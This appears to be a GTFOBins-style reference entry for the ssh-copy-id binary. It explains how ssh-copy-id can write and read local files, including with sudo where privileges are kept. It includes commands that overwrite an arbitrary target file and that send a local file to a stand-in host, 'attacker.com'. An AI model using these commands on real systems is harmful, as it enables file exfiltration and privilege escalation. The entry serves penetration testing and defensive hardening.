This executable can write data to local files.
This function can be performed by any unprivileged user.
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
This executable can read data from local files.
This function can be performed by any unprivileged user.
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com